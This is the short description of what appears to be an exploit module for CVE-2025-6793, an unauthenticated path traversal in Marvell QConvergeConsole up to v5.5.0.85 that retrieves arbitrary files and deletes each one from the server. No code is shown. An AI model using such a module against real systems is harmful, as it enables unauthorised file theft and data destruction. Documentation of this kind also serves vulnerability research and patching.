          This module exploits a path traversal vulnerability (CVE-2025-6793) in Marvell QConvergeConsole <= v5.5.0.85 to retrieve arbitrary files from the system. No authentication is required to exploit this issue.
          Note that whatever file will be retrieved, will also be deleted from the remote server.
